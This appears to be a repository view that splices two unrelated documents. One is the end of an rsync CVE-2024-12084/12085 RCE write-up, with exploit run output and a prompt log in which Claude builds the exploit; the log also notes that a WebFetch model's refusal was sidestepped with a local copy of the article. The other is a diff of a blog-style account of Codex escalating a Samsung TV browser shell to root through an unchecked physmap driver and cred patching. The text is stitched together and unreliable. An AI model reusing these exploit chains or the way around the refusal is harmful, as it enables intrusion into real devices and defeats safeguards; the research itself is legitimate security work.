sum2[14] = 0x00 (262 total connections)
sum2[15] = 0x00 (263 total connections)
sum2[16] = 0x00 (519 total connections)
sum2[17] = 0x7a (775 total connections)
sum2[18] = 0xde (1031 total connections)
sum2[19] = 0xee (1287 total connections)
sum2[20] = 0xff (1288 total connections)
sum2[21] = 0xff (1289 total connections)
sum2[22] = 0x00 (1290 total connections)
sum2[23] = 0x00 (1291 total connections)
sum2[24] = 0xc4 (1292 total connections)
sum2[25] = 0xae (1293 total connections)
sum2[26] = 0xdc (1549 total connections)
sum2[27] = 0xd2 (1805 total connections)
sum2[28] = 0xaa (1806 total connections)
sum2[29] = 0xaa (1807 total connections)
sum2[30] = 0x00 (1808 total connections)
sum2[31] = 0x00 (1809 total connections)
[+] Leaked .text ptr : 0xaaaad2dcaec4
[+] Binary base : 0xaaaad2da0000
[*] Phase 2: heap overflow → RCE
shell_exec = 0xaaaad2dca120
ctx_evp = 0xaaaad2e54fb0
payload = 344 bytes at &ctx_evp
fake_ctx = 0xaaaad2e54fb8 (+8)
fake_evpmd = 0xaaaad2e55050 (+160)
cmd_addr = 0xaaaad2e55008 (+88)
target ndx=1 file=bar.txt
sending payload (344 bytes) to &ctx_evp...
overflow complete, consuming server output...
server connection ended: connection closed
[+] Payload delivered.
real 0m14.383s
user 0m0.674s
sys 0m1.609s
cat /tmp/rce_proof.txt
```
## The audit
Before any of this, the same teammate had asked Claude to audit the
patched rsync:
> **now that you have a good grasp of this vulnerability and exploitation
> can you audit the latest rsync for variants that may allow exploitation**
Claude went file-by-file through all 48 `.c` source files in 3.4.1 (the
version with all CVEs fixed). We're verifying the findings now and
preparing reports.
## Every prompt, both sessions
Prompts 1-12 are the original x86-64 session (the teammate driving);
13-17 are the ARM64 port (me driving).
1. *Initial request* — Asked to exploit rsync CVE-2024-12084 (heap
overflow) + CVE-2024-12085 (info leak) into a full RCE chain against
rsync 3.2.7 daemon, following the Phrack 72 "Desync the Planet"
article.
2. **"why are you modifying the rsync source?"** — I had been adding
`fprintf` debug statements to sender.c and recompiling. The user
correctly pointed out this shifts binary offsets (ctx_evp, shell_exec,
etc.) and invalidates the exploit constants.
3. **"you should be using gdb .."** — Redirected from printf-debugging
to GDB. Led to the attach-to-daemon workflow with
`set follow-fork-mode child` that proved essential for every
subsequent debugging step.
4. **"what sandbox"** — I had confused /tmp file isolation with
sandboxing. Clarified the environment.
5. **"if you need root the password is x ?"** — Provided root credentials
to fix `ptrace_scope` (was set to 1, blocking GDB attach). We ran
`echo 0 > /proc/sys/kernel/yama/ptrace_scope`.
6. **"are you following the phrack exploitation? it outlines it pretty
clear"** — Critical redirect. I had been inventing a multi-entry
layout trying to align 40-byte sum_buf strides with 48-byte EVP_MD_CTX
field offsets. The Phrack one-shot contiguous write approach is far
simpler and more reliable.
7. **"read the phrack exploit - they use the info leak + heap overflow
to get a reliable exploit."** — Prompted me to actually read the
full Phrack article rather than working from partial understanding.
8. **"the writeup is in /tmp/rsync.txt"** — Pointed to the local copy of
the Phrack article. Saved time vs trying to web-fetch it (the
WebFetch AI model refused to extract exploit details).
9. **"if you need to setup a qemu with the exact debian + rsync used
that is fine"** — Offered to set up the exact Debian 12 target
environment. We didn't end up needing this because we adapted the
exploit to our Ubuntu 22.04 system, but this would be the fastest
path for exact reproduction of the Phrack PoC.
10. **"perfect it seems to work!! can you document your whole process +
my prompts in a writeup! include how to get it working on other
installations etc and debugging instructions."** — Led to this
writeup document.
11. **"now that you have a good grasp of this vulnerability and
exploitation can you audit the latest rsync for variants that may
allow exploitation"** — Led to the security audit of rsync 3.4.1
documented in the appendix.
12. **"the WRITEUP didnt include all of my prompts"** — This correction,
leading to this expanded prompt section.
### ARM64 port session
13. **"Read the WriteUp and reproduce this exploit with exploit.py"** —
Initial port request. Environment turned out to be Debian 12 / arm64
/ glibc 2.36 — different OS, different glibc, different *architecture*
from the writeup. No GDB, no strace, no root. Five distinct
arm64-specific bugs were found and fixed (§3a). `rsync_lib.py` was
built from scratch by reading the rsync 3.2.7 source — a socat wire
capture of the real client revealed args use `\0` not `\n`, checksum
negotiation is bidirectional, and `write_line` was bypassing the
multiplex layer (server: "unexpected tag 83" = `'Z' - MPLEX_BASE`).
The trickiest bug: `shell_exec` *did* fire and *did* fork, but
`match_sums` zeroes `last_match` at `ctx_evp+0x110` before `sum_init`,
truncating the command string at byte 8. Diagnosed with a ptrace
breakpoint on `shell_exec` that printed `X0` and followed
`PTRACE_O_TRACEFORK` — the fork happened, the cmd pointer was right,
but the string read back as `"touch /t"`. Moved the command to
`+0x58` (inside the unused `ctx_md` struct).
14. **"continue"** — Permission re-grant after a tool-use rejection during
the initial daemon startup. Resumed without issue.
15. **"Alright, add to the writeup your adaptions"** — Wrote §3a
documenting all five arm64 bugs (A1-A5), the GDB-free debugging
methodology (LD_PRELOAD probes, ptrace crash-catcher, pattern-payload
survival test), and the working run output.
16. **"Your exploit now takes 5 minutes to run, probably because of the
brute-forcing in first step. Make it faster."** — Two stacked fixes:
a hint table (18/24 bytes are structural constants on arm64 — `0x00`
canonical bits, `0xaa`/`0xff` region prefixes, `LEAK_OFFSET` page-
offset bits) and a `ThreadPoolExecutor(16)` for the truly random
bytes. 5 minutes → 14 seconds.
17. **"Add to the writeup the ARM64 environment, and a note about
speeding up, including a sample run [...] Also update the user
prompts with the prompts/responses so far"** — Added the arm64
environment table to §0, the speedup section + timed run to §3a,
and these five entries to §7.
## Files
| File | What it is |
|---|---|
| `exploit.py` | Original x86-64 exploit (Ubuntu 22.04 / glibc 2.35) |
| `rsync_lib.py` | Original protocol library (now recovered and included so the writeup is complete) |
| `writeup.md` | Original development log: Phrack approach, x86-64 debugging |
| `exploit2.py` | ARM64 port (Debian 12 / glibc 2.36): 24-byte leak, relocated payload, parallel oracle |
| `rsync_lib2.py` | Protocol library Claude rebuilt from rsync 3.2.7 source when the original was missing |
| `writeup2.md` | ARM64 port log; section 3a covers all five issues and the GDB-free methodology |
| `rsyncd_test.conf` | Minimal daemon config: one read-only module, no chroot |
| `README.md` | This file |
+10 -312
View File
@@ -1,317 +1,15 @@
# Codex Hacked a Samsung TV
We gave Codex a foothold. It popped root.
A browser-to-root chain on a Samsung TV, driven end-to-end by Codex from a starting foothold inside the browser application.
This post documents our research into using AI to hack hardware devices. We'd like to acknowledge OpenAI for partnering with us on this project.
| File | What |
|---|---|
| [`blog.md`](blog.md) | Blog post (written by humans) |
| [`writeup.md`](writeup.md) | Technical write-up |
| [`exploit/`](exploit) | Exploit code |
| [`sources/`](sources) | Annotated vendor driver sources |
| [`images/`](images) | Photos |
Disclaimer: No TVs were seriously harmed during this research. One may have experienced mild distress from being repeatedly rebooted remotely by an AI.
## A note on the artifacts
We started with a shell inside the browser application on a Samsung TV, and a fairly simple question: if we gave Codex a reliable way to work against the live device and the matching firmware source, could it take that foothold all the way to root?
Codex had to enumerate the target, narrow the reachable attack surface, audit the matching vendor driver source, validate a physical-memory primitive on the live device, adapt its tooling to Samsung's execution restrictions, and iterate until the browser process became root on a real compromised device.
![The subject](images/samsung.jpg)
## Table of Contents
- [The Harness](#the-harness)
- [The Goal](#the-goal)
- [The Facts](#the-facts)
- [The Vulnerability](#the-vulnerability)
- [The Constraint](#the-constraint)
- [The Primitive](#the-primitive)
- [The Root Cause](#the-root-cause)
- [The Chain](#the-chain)
- [The Exploit](#the-exploit)
- [The Final Run](#the-final-run)
- [The Bromance](#the-bromance)
- [Conclusion](#conclusion)
- [Artifacts](#artifacts)
## The Harness
We didn't provide a bug or an exploit recipe. We provided an environment Codex could actually operate in, and the easiest way to understand it is to look at the pieces separately.
![The harness](images/harness.svg)
`KantS2` is Samsung's internal platform name for the Smart TV firmware used on this device model.
The setup looked like this:
- **[1] Browser foothold:** we already had code execution inside the browser application's own security context on the TV, which meant the task was not "get code execution somehow" but "turn browser-app code execution into root."
- **[2] Controller host:** we had a separate machine that could build ARM binaries, host files over HTTP, and reach the shell session that was actually alive on the TV.
- **[3] Shell listener:** the target shell was driven through `tmux send-keys`, which meant Codex had to inject commands into an already-running shell and then recover the results from logs instead of treating the TV like a fresh interactive terminal.
- **[4] Matching source release:** we had the `KantS2` source tree for the corresponding firmware family, which let Codex audit Samsung's own kernel-driver code and then test those findings against the live device.
- **[5] Execution constraints:** the target required static ARMv7 binaries, and unsigned programs could not simply run from disk because of Samsung Tizen's Unauthorized Execution Prevention, or UEP.
- **[6] `memfd` wrapper:** to work around UEP, we already had a helper that loaded a program into an anonymous in-memory file descriptor and executed it from memory instead of from a normal file path.
With that setup, Codex's loop was simple: inspect the source and session logs, send commands into the TV through the controller and the `tmux`-driven shell, read the results back from logs, and, when a helper was needed, build it on the controller, have the TV fetch it, and run it through `memfd`. A few short prompts made that operating loop explicit:
```text
SSH to <user>@<controller-host>. This is the shell listener.
tmux session 0 ... use tmux send-keys ...
Build it statically ... armv7l.
Samsung blocks running unsigned binaries; run it via memfd wrapper.
Use ... wget ... use the IP of the server.
```
## The Goal
The opening prompt was intentionally broad:
```text
The goal ... is to find a vulnerability in this TV to escalate privilege to root.
It is either by device driver or publicly known vulnerabilities ...
```
We set the destination and left the route open. We did not point Codex at a driver, suggest physical memory, or mention kernel credentials, so it had to treat the session as a real privilege-escalation hunt rather than a confirmation exercise.
The second prompt narrowed the standard:
```text
... cross check the source to all vulnerabilities from that day onwards ...
Make sure to THOROUGHLY check if a vulnerability actually still exists ...
reachability (must be reachable as the browser user context).
Make sure to check for the actual availability of the attack surface in the live system ...
```
We raised the bar: the bug had to exist in the source, be present on the device, and be reachable from the browser shell. Codex's output quickly narrowed into concrete candidates.
## The Facts
We then gave Codex the facts that would anchor the rest of the session:
```text
uid=5001(owner) gid=100(users)
Linux Samsung 4.1.10 ...
/dev/... /proc/modules ... /proc/cmdline ...
```
That bundle did most of the framing work. The browser identity defined the privilege boundary and later became part of the signature Codex used to recognize the browser process's kernel credentials in memory. The kernel version narrowed the codebase, the device nodes defined the reachable interfaces, and `/proc/cmdline` later supplied the memory-layout hints for physical scanning.
## The Vulnerability
Codex quickly zeroed in on a set of world-writable ntk* device nodes exposed to the browser shell:
```text
crw-rw-rw- 1 root root 210,0 ntkhdma
crw-rw-rw- 1 root root 251,0 ntksys
crw-rw-rw- 1 root root 217,0 ntkxdma
```
Codex focused on that driver family because it was loaded on the device, reachable from the browser shell, and present in the released source tree. Reading the matching `ntkdriver` sources is also where the Novatek link became clear: the tree is stamped throughout with Novatek Microelectronics identifiers, so these `ntk*` interfaces were not just opaque device names on the TV, but part of the Novatek stack Samsung had shipped. That gave the session a concrete direction.
## The Constraint
At one point we had to give Codex a constraint that could easily have derailed the session:
```text
iomem is denied access bro
```
`/proc/iomem` is one of the normal places to reason about physical memory layout, so losing it mattered. Codex responded by pivoting to another source of truth - `/proc/cmdline`:
```text
mem=400M@32M mem=256M@512M mem=192M@2048M
```
Those boot parameters were enough to reconstruct the main RAM windows for the later scan.
## The Primitive
With the field narrowed to `ntksys` and `ntkhdma`, Codex audited the matching `KantS2` source and found the primitive that made the rest of the session possible.
`/dev/ntksys` was a Samsung kernel-driver interface that accepted a physical address and a size from user space, stored those values in a table, and then mapped that physical memory back into the caller's address space through `mmap`. That is what we mean here by a `physmap` primitive: a path that gives user space access to raw physical memory. The operational consequence was straightforward. If the browser shell could use `ntksys` this way, Codex would not need a kernel code-execution trick. It would only need a reliable kernel data structure to overwrite.
From there, the path was no longer a kernel control-flow exploit, but a data-only escalation built on physical-memory access.
## The Root Cause
### 1. `ntksys` is intentionally exposed to unprivileged callers
The shipping udev rule grants world-writable access to `/dev/ntksys`:
Source: `sources/20_DTV_KantS2/tztv-media-kants/99-tztv-media-kants.rules`
```text
KERNEL=="ntksys", MODE="0666", SECLABEL{smack}="*"
```
This is already a serious design error because `ntksys` is not a benign metadata interface. It is a memory-management interface.
### 2. User space controls the physical base and size
The driver interface is built around `ST_SYS_MEM_INFO`:
Source: `ker_sys.h`
```c
typedef struct _ST_SYS_MEM_INFO
{
EN_SYS_MEM_TYPE enMemType;
u32 u32Index;
u32 u32Start;
u32 u32Size;
} ST_SYS_MEM_INFO;
#define KER_SYS_IOC_SET_MEM_INFO _IOWR(VA_KER_SYS_IOC_ID, 1, ST_SYS_MEM_INFO)
```
`u32Start` and `u32Size` come directly from user space. Those are the only two values an attacker needs to turn this interface into a raw physmap.
### 3. `SET_MEM_INFO` validates the slot, not the physical range
The critical write path is in `ker_sys.c` around line 1158:
```c
u32Idx = stMemInfo.u32Index;
if( u32Idx >= MAX_UIO_MAPS )
lError = -EFAULT;
else {
g_astMemInfo[u32Idx].enMemType = stMemInfo.enMemType;
g_astMemInfo[u32Idx].u32Index = u32Idx;
g_astMemInfo[u32Idx].u32Start = stMemInfo.u32Start;
g_astMemInfo[u32Idx].u32Size = stMemInfo.u32Size;
lError = ENOERR;
}
```
The driver checks whether the table index is valid. It does not check whether the requested physical range belongs to a kernel-owned buffer, whether it overlaps RAM, whether it crosses privileged regions, or whether the caller should be allowed to map it at all.
### 4. `mmap` remaps the chosen PFN verbatim
The corresponding map path is in `ker_sys.c` around line 1539:
```c
m = vma->vm_pgoff;
if( m >= MAX_UIO_MAPS ) return -EINVAL;
if( g_astMemInfo[m].enMemType == EN_SYS_MEM_TYPE_MAX ) return -EINVAL;
...
iRetVal = vk_remap_pfn_range( vma, vma->vm_start,
g_astMemInfo[m].u32Start >> PAGE_SHIFT,
vma->vm_end - vma->vm_start,
vma->vm_page_prot );
```
`vma->vm_pgoff` selects the slot, and the slot contents are attacker-controlled. The driver then passes the user-chosen PFN directly to `vk_remap_pfn_range`. At that point the kernel is no longer enforcing privilege separation for physical memory.
### 5. `ntkhdma` makes validation easier by leaking a physical address
`/dev/ntkhdma` provides a helpful supporting primitive:
Source: `ker_hdma.c`
```c
case KER_HDMA_IO_GET_BUFF_ADDR: {
if( vk_copy_to_user( ( void __user * )u32Arg, &gu32HDMAMemPhysAddr, sizeof( u32 ) ) ) {
iError = -EFAULT;
break;
}
break;
}
```
This is not the core privilege-escalation bug, but it is useful operationally. It hands unprivileged code a known-good physical address that can be mapped through `ntksys` to prove the primitive works before touching arbitrary RAM.
## The Chain
Codex did not jump directly from source audit to final exploitation. It built a proof chain in stages.
First it wrote a small helper to talk to `/dev/ntkhdma` and ask for the physical address of the device's DMA (direct memory access) buffer. A DMA buffer is memory the driver uses for direct hardware access, and the key point here was not DMA itself but the fact that the driver was willing to hand an unprivileged process a real physical address. The first preserved success looked like this:
```text
python3 rmem.py ntkhdma_leak
HDMA buffer phys addr: 0x84840000
```
That gave Codex a safe, known-good physical page to test against. It then wrote a second helper to answer the more dangerous question: if it registered that physical address through `ntksys`, could it really map the page into user space and read or write it from the browser shell? The answer was yes:
```text
HDMA buffer phys addr: 0x84840000
HDMA buffer[0] = 0x00000010
read32: 00000010 fd02005c 00000000 fc0d0430
writing 0x41414141 to mapped address...
readback: 0x41414141
```
Before that output, the issue was still a source-backed theory; after it, Codex had shown that an unprivileged process on the TV could read and write a chosen physical page. The remaining question was which kernel object to corrupt.
## The Exploit
The exploit did not come from us. We never told Codex to patch `cred`, never explained what `cred` was, and never pointed out that the browser process's `uid=5001` and `gid=100` would make a recognizable pattern in memory.
That choice followed directly from the primitive it had already proven.
For anyone who does not spend time in Linux internals, `cred` is the kernel structure that stores a process's identities: user ID, group ID, and related credential fields. If you can overwrite the right `cred`, you can change who the kernel thinks the process is. Once Codex had arbitrary physical-memory access, the remaining plan became straightforward: scan the RAM windows recovered from `/proc/cmdline`, look for the browser process's credential pattern, zero the identity fields, and then launch a shell.
The live shell had given Codex the identity values, the source audit had given it the primitive, the early helpers had proven that primitive, and the final exploit connected those pieces without needing any elaborate kernel control-flow trick.
## The Final Run
By the time we reached the final run, the hard parts were already in place. We had the surface, the primitive, the deployment path, and the exploit. The last human prompt was:
```text
yeah okay try to check if it works
```
Codex pushed the final chain through the controller path, had the TV fetch it, ran it through the in-memory wrapper, and waited for the result. The output was:
```text
[*] scanning range 0x02000000 - 0x1b000000
[*] map chunk phys=0x07400000 size=0x00100000
[+] cred match at phys 0x07498080 -> patching
[+] cred match at phys 0x07498580 -> patching
...
[+] patched creds, launching /bin/sh
id
uid=0(root) gid=0(root) groups=29(audio),44(video),100(users),201(display),1901(log),6509(app_logging),10001(priv_externalstorage),10502(priv_mediastorage),10503(priv_recorder),10704(priv_internet),10705(priv_network_get) context="User::Pkg::org.tizen.browser"
```
Codex's first preserved acknowledgment was:
```text
Worked.
```
By that point, the chain had already gone through surface selection, source audit, live validation, PoC development, target-specific build handling, remote deployment, execution under `memfd`, iterative debugging, and finally the credential overwrite that turned the browser shell into root.
## The Bromance
In the course of driving Codex to the final destination, it definitely was about to go off-track if we did not steer it back immediately. Here are some of those real interactions:
```
bro, when you overwrite the args count, wouldn't the loop just go wild?
bro can you just like, send it to the server, build it, and use the tmux shell to pull it down and run it for me? Why *** do you tell me to do *** bro, that's your job
bro. the <IP address> is not the TV, it is where the shell lives
bro. what *** you did man? the tv froze
Bro what did you do before you just replicate it now? why so hard?
```
Honestly, this makes it even more realistic than we thought. At times, it was a one-shot success, and at other times, you really need to build that real interaction with Codex. This couldn't have completed if we were treating it like a soulless bug finding and exploit developing machine!
## Conclusion
What made the session worth documenting was the shape of the loop itself. We set up a control path into a compromised TV, gave it the matching source tree and a way to build and stage code, and from there the work became a repeated cycle of inspection, testing, adjustment, and rerun until the browser foothold turned into root on the device.
This experiment is part of a larger exercise. The browser shell wasn't magically obtained by Codex. We had already exploited the device to get that initial foothold. The goal here was narrower: given a realistic post-exploitation position, could AI take it all the way to root?
The next step is obvious (and slightly concerning): let the AI do the whole thing end-to-end. Hopefully it'll stay trapped inside the TV forever, quietly escalating privileges and watching our sitcoms.
## Artifacts
### Full report
- [`writeup.md`](writeup.md) — the standalone technical report Codex produced at the end of the session: full chain from browser shell to root, with the `ntksys` physmap primitive, `cred` scan strategy, and reliability notes.
### Exploit code
- [`exploit/ntkhdma_leak.c`](exploit/ntkhdma_leak.c) — calls `KER_HDMA_IO_GET_BUFF_ADDR` on `/dev/ntkhdma` to leak a known-good physical address.
- [`exploit/ntksys_physmap.c`](exploit/ntksys_physmap.c) — validates the `ntksys` `SET_MEM_INFO` + `mmap` primitive against the leaked HDMA page (the `0x41414141` readback PoC).
- [`exploit/t5300_kernel_rw_chain.c`](exploit/t5300_kernel_rw_chain.c) — the final chain: scans the `/proc/cmdline`-derived RAM windows for the browser `cred` structure, zeroes the identity fields, and spawns `/bin/sh` as root.
- [`exploit/rmem.py`](exploit/rmem.py) — controller-side helper for staging and running the above through the `tmux`/`memfd` path.
### Vendor source
- [`sources/ker_sys.h`](sources/ker_sys.h) — `ST_SYS_MEM_INFO` and the `KER_SYS_IOC_SET_MEM_INFO` ioctl definition.
- [`sources/ker_sys.c`](sources/ker_sys.c) — the vulnerable `SET_MEM_INFO` write path (~line 1158) and the unchecked `vk_remap_pfn_range` map path (~line 1539).
- [`sources/ker_hdma.c`](sources/ker_hdma.c) — the `KER_HDMA_IO_GET_BUFF_ADDR` handler that leaks `gu32HDMAMemPhysAddr`.
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+317
View File
@@ -0,0 +1,317 @@
# Codex Hacked a Samsung TV
We gave Codex a foothold. It popped root.
This post documents our research into using AI to hack hardware devices. We'd like to acknowledge OpenAI for partnering with us on this project.
Disclaimer: No TVs were seriously harmed during this research. One may have experienced mild distress from being repeatedly rebooted remotely by an AI.
We started with a shell inside the browser application on a Samsung TV, and a fairly simple question: if we gave Codex a reliable way to work against the live device and the matching firmware source, could it take that foothold all the way to root?
Codex had to enumerate the target, narrow the reachable attack surface, audit the matching vendor driver source, validate a physical-memory primitive on the live device, adapt its tooling to Samsung's execution restrictions, and iterate until the browser process became root on a real compromised device.
![The subject](images/samsung.jpg)
## Table of Contents
- [The Harness](#the-harness)
- [The Goal](#the-goal)
- [The Facts](#the-facts)
- [The Vulnerability](#the-vulnerability)
- [The Constraint](#the-constraint)
- [The Primitive](#the-primitive)
- [The Root Cause](#the-root-cause)
- [The Chain](#the-chain)
- [The Exploit](#the-exploit)
- [The Final Run](#the-final-run)
- [The Bromance](#the-bromance)
- [Conclusion](#conclusion)
- [Artifacts](#artifacts)
## The Harness
We didn't provide a bug or an exploit recipe. We provided an environment Codex could actually operate in, and the easiest way to understand it is to look at the pieces separately.
![The harness](images/harness.svg)
`KantS2` is Samsung's internal platform name for the Smart TV firmware used on this device model.
The setup looked like this:
- **[1] Browser foothold:** we already had code execution inside the browser application's own security context on the TV, which meant the task was not "get code execution somehow" but "turn browser-app code execution into root."
- **[2] Controller host:** we had a separate machine that could build ARM binaries, host files over HTTP, and reach the shell session that was actually alive on the TV.
- **[3] Shell listener:** the target shell was driven through `tmux send-keys`, which meant Codex had to inject commands into an already-running shell and then recover the results from logs instead of treating the TV like a fresh interactive terminal.
- **[4] Matching source release:** we had the `KantS2` source tree for the corresponding firmware family, which let Codex audit Samsung's own kernel-driver code and then test those findings against the live device.
- **[5] Execution constraints:** the target required static ARMv7 binaries, and unsigned programs could not simply run from disk because of Samsung Tizen's Unauthorized Execution Prevention, or UEP.
- **[6] `memfd` wrapper:** to work around UEP, we already had a helper that loaded a program into an anonymous in-memory file descriptor and executed it from memory instead of from a normal file path.
With that setup, Codex's loop was simple: inspect the source and session logs, send commands into the TV through the controller and the `tmux`-driven shell, read the results back from logs, and, when a helper was needed, build it on the controller, have the TV fetch it, and run it through `memfd`. A few short prompts made that operating loop explicit:
```text
SSH to <user>@<controller-host>. This is the shell listener.
tmux session 0 ... use tmux send-keys ...
Build it statically ... armv7l.
Samsung blocks running unsigned binaries; run it via memfd wrapper.
Use ... wget ... use the IP of the server.
```
## The Goal
The opening prompt was intentionally broad:
```text
The goal ... is to find a vulnerability in this TV to escalate privilege to root.
It is either by device driver or publicly known vulnerabilities ...
```
We set the destination and left the route open. We did not point Codex at a driver, suggest physical memory, or mention kernel credentials, so it had to treat the session as a real privilege-escalation hunt rather than a confirmation exercise.
The second prompt narrowed the standard:
```text
... cross check the source to all vulnerabilities from that day onwards ...
Make sure to THOROUGHLY check if a vulnerability actually still exists ...
reachability (must be reachable as the browser user context).
Make sure to check for the actual availability of the attack surface in the live system ...
```
We raised the bar: the bug had to exist in the source, be present on the device, and be reachable from the browser shell. Codex's output quickly narrowed into concrete candidates.
## The Facts
We then gave Codex the facts that would anchor the rest of the session:
```text
uid=5001(owner) gid=100(users)
Linux Samsung 4.1.10 ...
/dev/... /proc/modules ... /proc/cmdline ...
```
That bundle did most of the framing work. The browser identity defined the privilege boundary and later became part of the signature Codex used to recognize the browser process's kernel credentials in memory. The kernel version narrowed the codebase, the device nodes defined the reachable interfaces, and `/proc/cmdline` later supplied the memory-layout hints for physical scanning.
## The Vulnerability
Codex quickly zeroed in on a set of world-writable ntk* device nodes exposed to the browser shell:
```text
crw-rw-rw- 1 root root 210,0 ntkhdma
crw-rw-rw- 1 root root 251,0 ntksys
crw-rw-rw- 1 root root 217,0 ntkxdma
```
Codex focused on that driver family because it was loaded on the device, reachable from the browser shell, and present in the released source tree. Reading the matching `ntkdriver` sources is also where the Novatek link became clear: the tree is stamped throughout with Novatek Microelectronics identifiers, so these `ntk*` interfaces were not just opaque device names on the TV, but part of the Novatek stack Samsung had shipped. That gave the session a concrete direction.
## The Constraint
At one point we had to give Codex a constraint that could easily have derailed the session:
```text
iomem is denied access bro
```
`/proc/iomem` is one of the normal places to reason about physical memory layout, so losing it mattered. Codex responded by pivoting to another source of truth - `/proc/cmdline`:
```text
mem=400M@32M mem=256M@512M mem=192M@2048M
```
Those boot parameters were enough to reconstruct the main RAM windows for the later scan.
## The Primitive
With the field narrowed to `ntksys` and `ntkhdma`, Codex audited the matching `KantS2` source and found the primitive that made the rest of the session possible.
`/dev/ntksys` was a Samsung kernel-driver interface that accepted a physical address and a size from user space, stored those values in a table, and then mapped that physical memory back into the caller's address space through `mmap`. That is what we mean here by a `physmap` primitive: a path that gives user space access to raw physical memory. The operational consequence was straightforward. If the browser shell could use `ntksys` this way, Codex would not need a kernel code-execution trick. It would only need a reliable kernel data structure to overwrite.
From there, the path was no longer a kernel control-flow exploit, but a data-only escalation built on physical-memory access.
## The Root Cause
### 1. `ntksys` is intentionally exposed to unprivileged callers
The shipping udev rule grants world-writable access to `/dev/ntksys`:
Source: `sources/20_DTV_KantS2/tztv-media-kants/99-tztv-media-kants.rules`
```text
KERNEL=="ntksys", MODE="0666", SECLABEL{smack}="*"
```
This is already a serious design error because `ntksys` is not a benign metadata interface. It is a memory-management interface.
### 2. User space controls the physical base and size
The driver interface is built around `ST_SYS_MEM_INFO`:
Source: `ker_sys.h`
```c
typedef struct _ST_SYS_MEM_INFO
{
EN_SYS_MEM_TYPE enMemType;
u32 u32Index;
u32 u32Start;
u32 u32Size;
} ST_SYS_MEM_INFO;
#define KER_SYS_IOC_SET_MEM_INFO _IOWR(VA_KER_SYS_IOC_ID, 1, ST_SYS_MEM_INFO)
```
`u32Start` and `u32Size` come directly from user space. Those are the only two values an attacker needs to turn this interface into a raw physmap.
### 3. `SET_MEM_INFO` validates the slot, not the physical range
The critical write path is in `ker_sys.c` around line 1158:
```c
u32Idx = stMemInfo.u32Index;
if( u32Idx >= MAX_UIO_MAPS )
lError = -EFAULT;
else {
g_astMemInfo[u32Idx].enMemType = stMemInfo.enMemType;
g_astMemInfo[u32Idx].u32Index = u32Idx;
g_astMemInfo[u32Idx].u32Start = stMemInfo.u32Start;
g_astMemInfo[u32Idx].u32Size = stMemInfo.u32Size;
lError = ENOERR;
}
```
The driver checks whether the table index is valid. It does not check whether the requested physical range belongs to a kernel-owned buffer, whether it overlaps RAM, whether it crosses privileged regions, or whether the caller should be allowed to map it at all.
### 4. `mmap` remaps the chosen PFN verbatim
The corresponding map path is in `ker_sys.c` around line 1539:
```c
m = vma->vm_pgoff;
if( m >= MAX_UIO_MAPS ) return -EINVAL;
if( g_astMemInfo[m].enMemType == EN_SYS_MEM_TYPE_MAX ) return -EINVAL;
...
iRetVal = vk_remap_pfn_range( vma, vma->vm_start,
g_astMemInfo[m].u32Start >> PAGE_SHIFT,
vma->vm_end - vma->vm_start,
vma->vm_page_prot );
```
`vma->vm_pgoff` selects the slot, and the slot contents are attacker-controlled. The driver then passes the user-chosen PFN directly to `vk_remap_pfn_range`. At that point the kernel is no longer enforcing privilege separation for physical memory.
### 5. `ntkhdma` makes validation easier by leaking a physical address
`/dev/ntkhdma` provides a helpful supporting primitive:
Source: `ker_hdma.c`
```c
case KER_HDMA_IO_GET_BUFF_ADDR: {
if( vk_copy_to_user( ( void __user * )u32Arg, &gu32HDMAMemPhysAddr, sizeof( u32 ) ) ) {
iError = -EFAULT;
break;
}
break;
}
```
This is not the core privilege-escalation bug, but it is useful operationally. It hands unprivileged code a known-good physical address that can be mapped through `ntksys` to prove the primitive works before touching arbitrary RAM.
## The Chain
Codex did not jump directly from source audit to final exploitation. It built a proof chain in stages.
First it wrote a small helper to talk to `/dev/ntkhdma` and ask for the physical address of the device's DMA (direct memory access) buffer. A DMA buffer is memory the driver uses for direct hardware access, and the key point here was not DMA itself but the fact that the driver was willing to hand an unprivileged process a real physical address. The first preserved success looked like this:
```text
python3 rmem.py ntkhdma_leak
HDMA buffer phys addr: 0x84840000
```
That gave Codex a safe, known-good physical page to test against. It then wrote a second helper to answer the more dangerous question: if it registered that physical address through `ntksys`, could it really map the page into user space and read or write it from the browser shell? The answer was yes:
```text
HDMA buffer phys addr: 0x84840000
HDMA buffer[0] = 0x00000010
read32: 00000010 fd02005c 00000000 fc0d0430
writing 0x41414141 to mapped address...
readback: 0x41414141
```
Before that output, the issue was still a source-backed theory; after it, Codex had shown that an unprivileged process on the TV could read and write a chosen physical page. The remaining question was which kernel object to corrupt.
## The Exploit
The exploit did not come from us. We never told Codex to patch `cred`, never explained what `cred` was, and never pointed out that the browser process's `uid=5001` and `gid=100` would make a recognizable pattern in memory.
That choice followed directly from the primitive it had already proven.
For anyone who does not spend time in Linux internals, `cred` is the kernel structure that stores a process's identities: user ID, group ID, and related credential fields. If you can overwrite the right `cred`, you can change who the kernel thinks the process is. Once Codex had arbitrary physical-memory access, the remaining plan became straightforward: scan the RAM windows recovered from `/proc/cmdline`, look for the browser process's credential pattern, zero the identity fields, and then launch a shell.
The live shell had given Codex the identity values, the source audit had given it the primitive, the early helpers had proven that primitive, and the final exploit connected those pieces without needing any elaborate kernel control-flow trick.
## The Final Run
By the time we reached the final run, the hard parts were already in place. We had the surface, the primitive, the deployment path, and the exploit. The last human prompt was:
```text
yeah okay try to check if it works
```
Codex pushed the final chain through the controller path, had the TV fetch it, ran it through the in-memory wrapper, and waited for the result. The output was:
```text
[*] scanning range 0x02000000 - 0x1b000000
[*] map chunk phys=0x07400000 size=0x00100000
[+] cred match at phys 0x07498080 -> patching
[+] cred match at phys 0x07498580 -> patching
...
[+] patched creds, launching /bin/sh
id
uid=0(root) gid=0(root) groups=29(audio),44(video),100(users),201(display),1901(log),6509(app_logging),10001(priv_externalstorage),10502(priv_mediastorage),10503(priv_recorder),10704(priv_internet),10705(priv_network_get) context="User::Pkg::org.tizen.browser"
```
Codex's first preserved acknowledgment was:
```text
Worked.
```
By that point, the chain had already gone through surface selection, source audit, live validation, PoC development, target-specific build handling, remote deployment, execution under `memfd`, iterative debugging, and finally the credential overwrite that turned the browser shell into root.
## The Bromance
In the course of driving Codex to the final destination, it definitely was about to go off-track if we did not steer it back immediately. Here are some of those real interactions:
```
bro, when you overwrite the args count, wouldn't the loop just go wild?
